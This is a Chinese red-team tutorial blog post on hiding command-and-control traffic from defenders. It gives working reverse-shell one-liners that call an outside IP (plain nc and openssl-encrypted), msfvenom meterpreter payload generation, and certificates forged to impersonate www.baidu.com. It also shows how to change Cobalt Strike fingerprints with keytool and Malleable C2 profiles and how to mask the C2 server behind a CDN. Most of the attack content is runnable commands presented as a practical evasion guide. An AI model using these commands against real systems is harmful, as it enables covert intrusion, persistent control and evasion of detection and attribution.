【红队APT】反朔源&流量加密&CS&MSF&证书指纹&C2项目&CDN域前置

本文涉及的产品
密钥管理服务KMS,1000个密钥,100个凭据,1个月
简介: 【红队APT】反朔源&流量加密&CS&MSF&证书指纹&C2项目&CDN域前置

背景交代:

在红蓝对抗或日常测试中会出现一种情况,当我们终于让目标机器上线后,

却因为明显的通信特征被安全设备检测到从而失去目标机器的控制权限,

这时就需要对Cobalt Strike或MSF的特征进行隐藏、对其通信流量进行混淆。


常见红蓝对抗中红队面临问题:

1、通讯协议走TCP&UDP协议,直接被防火墙限制出网

2、通讯协议走无加密HTTP协议,直接明文传输成指纹特征

3、通讯协议走HTTPS或DNS加密协议,直接工具证书成指纹特征

4、通讯协议走HTTPS或DNS加密协议,特征指纹等修改后又被朔源拉黑


红队进行权限控制,主机开始限制出网,尝试走常见出网协议http/https,结果流量设备入侵检测检测系统发现异常,尝试修改工具指纹特征加密流量防止检测,结果被定位到控制服务器,再次使用CDN,云函数,第三方上线等进行隐藏保证权限维持。


蓝队发现处置情况:

1.蓝队-朔源后拉黑控制IP

2.蓝队-设备平台指纹告警

3.蓝队-流量分析异常告警


NC-未加密&加密后-流量抓包对比

nc -lvvp 5566
nc -e /bin/bash 47.94.130.42 5566


在我们的攻击端生成自签名证书(加ssl)

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes


在攻击机上监听指定端口,这里我选择4455

openssl s_server -quiet -key key.pem -cert cert.pem -port 4455

在受害机上执行shell反弹命令(注意修改ip和端口)

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 47.94.130.42:4455 > /tmp/s;

这里可以看到,流量进行了加密,只能隐约的看到一些ssl证书信息。

MSF-流量通讯特征修改-证书-openssl

解决HTTPS-SSL通讯证书被特征标示问题

传统msf虽然使用https等加密方式,不过仍然会有特征(head头部固定)

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_http LHOST=47.94.130.42  LPORT=4455 -f exe -o msf.exe

为了方便流量与其他协议作区分,这里我使用http协议;生成后在虚拟机中上线,不过遇到了奇怪的事情就是,我在上线的虚拟机中抓不到http流量的数据包,而在物理机中抓到了(emmm我也不太懂为什么会这样)

196e5e91117f49aa213cd8ef7c442978_0341361b2ca949ed85f52c002e1dfe87.png

这里可以很明显的看到:固定的GET/POST乱码请求,以及固定的Firefox UA头,下方的post乱码数据是我做的命令交互

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_https LHOST=47.94.130.42  LPORT=4455 -f exe -o msf-https.exe


那么如果使用msf生成https协议的后门呢?

采用msf自带的证书进行上线(但是还是会被流量设备、IDS、IPS等设备检测(特征库))

这里可以看到msf自带的证书,这里我们对该证书进行伪装(这里其实流量上没做什么改变,知识对默认证书指纹做了修改)


1.利用openssl生成证书:

openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 -subj "/C=UK/ST=xiaodi/L=xiaodi/O=Development/CN=www.baidu.com" -keyout www.baidu.com.key -out www.baidu.com.crt && cat www.baidu.com.key www.baidu.com.crt > www.baidu.com.pem && rm -f www.baidu.com.key www.baidu.com.crt


2.MSF生成绑定证书后门:

2.MSF生成绑定证书后门:

msfvenom -p windows/

3.MSF监听上线:

use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 0.0.0.0
set lport 5566
set HandlerSSLCert /root/www.baidu.com.pem
set StagerVerifySSLCert true
run


impersonate_ssl模块

此外Metasploit框架还有一个auxiliary/gather/impersonate_ssl模块,可以用来自动从信任源创建一个虚假证书,十分方便:

use auxiliary/gather/impersonate_ssl 
set RHOST www.baidu.com
run


CS-流量通讯特征修改-证书指纹-keytool

-解决HTTP/S通讯证书及流量特征被特征标示问题

JDK Keytool 修改CS特征


1.修改默认端口:

编辑teamserver文件,更改server port默认端口50050

比如说我这里伪装成MongoDB数据库端口,同样连接服务端的时候密码也需要更改为27017

此外CS在运行的时候加载cobalstrike.store证书(默认配置)


2.去除store证书特征:

查看证书指纹:

keytool -list -v -keystore cobaltstrike.store #keytool java jdk自带


这里可以很明显的看到很明显的cobaltstrike特征,于是我们在证书指纹方面对CS进行二次更改

生成自定义证书指纹:

keytool -keystore cobaltstrike1.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias whgojp.top -dname "CN=whgojp e-Szigno Root CA, OU=e-Szigno CA, O=whogjp Ltd., L=Budapest, S=HU, C=HU"

应用证书指纹:

keytool -importkeystore -srckeystore cobaltstrike1.store -destkeystore cobaltstrike1.store -deststoretype pkcs12

3、去除流量通讯特征:

背景:CS原始HTTP监听器心跳数据包

规则资源:

https://github.com/xx0hcd/Malleable-C2-Profiles

https://github.com/FortyNorthSecurity/C2concealer


重新生成后门文件进行上线抓取心跳包

成功修改心跳包特征


DIY Profiles文件

1.创建C2文件:xiaodi.Profiles

2.写入通讯规则: UA头&GET&POST&心跳&证书等

3.测试规则正常:./c2lint whgojp.prifile

4.加载C2规则启动:

./teamserver ip 密码 whgojp.Profiles
https-certificate {
  set CN      "whgojp e-Szigno Root CA";
  set O        "whogjp Ltd.";
  set C        "HU";
  set L        "Budapest";
  set OU      "e-Szigno CA";
  set ST      "HU";
  set validity "365";
}

#设置,修改成你的证书名称和证书密码

code-signer{
  set keystore "whgojp.store";
  set password "123456";
  set alias "whgojp.top";
}

伪造的证书与下方对应

keytool -keystore whgojp.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias whgojp.top -dname "CN=whgojp e-Szigno Root CA, OU=e-Szigno CA, O=whogjp Ltd., L=Budapest, S=HU, C=HU"

隐藏:

域前置、CDN、云函数,网盘第三方上线等

CS-防封锁处置IP地址-C2&CDN隐藏IP

解决HTTPS-SSL通讯被朔源IP封锁问题

配置:

https://mp.weixin.qq.com/s/MghFgegdp3l3tFE3hOvcYw

1、阿里云备案域名&全站加速CDN配置

尝试超级ping一下,配置成功

开了CDN之后,每超级ping一次都是人民币的声音emmm

2、CS创建监听器-HTTPS/Stager/Header


3、生成后门-进程网络状态&威胁情报平台

成功上线运行

使用火绒剑查看网络连接情况

很显然这里并不是我的真实IP 赶快把CDN服务关了,顶不住了


发挥想象:

域前置?转发器换成CDN;

云函数?转发器换成云函数转发;

代理隐藏?转发器换成代理机;

网关隐藏?转发器换成网关;

相关文章
|
29天前
|
安全 网络安全 数据安全/隐私保护
SSL/TLS证书**是一种用于加密网络通信的数字证书
SSL/TLS证书**是一种用于加密网络通信的数字证书
79 6
|
2月前
|
安全 网络安全 区块链
网络安全与信息安全:构建数字世界的防线在当今数字化时代,网络安全已成为维护个人隐私、企业机密和国家安全的重要屏障。随着网络攻击手段的不断升级,从社交工程到先进的持续性威胁(APT),我们必须采取更加严密的防护措施。本文将深入探讨网络安全漏洞的形成原因、加密技术的应用以及提高公众安全意识的重要性,旨在为读者提供一个全面的网络安全知识框架。
在这个数字信息日益膨胀的时代,网络安全问题成为了每一个网民不可忽视的重大议题。从个人信息泄露到企业数据被盗,再到国家安全受到威胁,网络安全漏洞如同隐藏在暗处的“黑洞”,时刻准备吞噬掉我们的信息安全。而加密技术作为守护网络安全的重要工具之一,其重要性不言而喻。同时,提高公众的安全意识,也是防范网络风险的关键所在。本文将从网络安全漏洞的定义及成因出发,解析当前主流的加密技术,并强调提升安全意识的必要性,为读者提供一份详尽的网络安全指南。
|
19天前
|
网络协议 网络安全 Docker
将Certbot/ACME.sh自动化申请的证书自动部署到阿里云CDN
本文介绍了阿里云 CDN SSL 证书自动更新工具,定期检查证书有效期,使用Let's Encrypt 等工具签发的证书自动更新至阿里云 CDN,支持 Docker 及 .NET 8 部署,简化证书管理流程。
|
2月前
|
缓存 前端开发 JavaScript
前端架构思考:代码复用带来的隐形耦合,可能让大模型造轮子是更好的选择-从 CDN 依赖包被删导致个站打不开到数年前因11 行代码导致上千项目崩溃谈谈npm黑洞 - 统计下你的项目有多少个依赖吧!
最近,我的个人网站因免费CDN上的Vue.js包路径变更导致无法访问,引发了我对前端依赖管理的深刻反思。文章探讨了NPM依赖陷阱、开源库所有权与维护压力、NPM生态问题,并提出减少不必要的依赖、重视模块设计等建议,以提升前端项目的稳定性和可控性。通过“left_pad”事件及个人经历,强调了依赖管理的重要性和让大模型代替人造轮子的潜在收益
|
2月前
|
存储 JavaScript 安全
vue项目打包优化:缩小体积productionSourceMap设置,使用cdn加速
vue项目打包优化:缩小体积productionSourceMap设置,使用cdn加速
286 0
|
3月前
|
算法 安全 网络安全
概念区分:对称加密、非对称加密、公钥、私钥、签名、证书
概念区分:对称加密、非对称加密、公钥、私钥、签名、证书
175 0
|
5月前
|
算法 安全 数据安全/隐私保护
支付系统---微信支付09------数字签名,现在Bob想要给Pink写一封信,信件的内容不需要加密,怎样能够保证信息的完整性,使用信息完整性的主要手段是摘要算法,散列函数,哈希函数,H称为数据指纹
支付系统---微信支付09------数字签名,现在Bob想要给Pink写一封信,信件的内容不需要加密,怎样能够保证信息的完整性,使用信息完整性的主要手段是摘要算法,散列函数,哈希函数,H称为数据指纹
|
5月前
|
数据安全/隐私保护
https【详解】与http的区别,对称加密,非对称加密,证书,解析流程图
https【详解】与http的区别,对称加密,非对称加密,证书,解析流程图
194 0
|
6月前
|
JavaScript 开发工具 git
大事件项目64----打包发布_cdn地址引入,免费cdn的网站
大事件项目64----打包发布_cdn地址引入,免费cdn的网站
|
6月前
|
前端开发 JavaScript CDN
大事件项目63----cdn介绍
大事件项目63----cdn介绍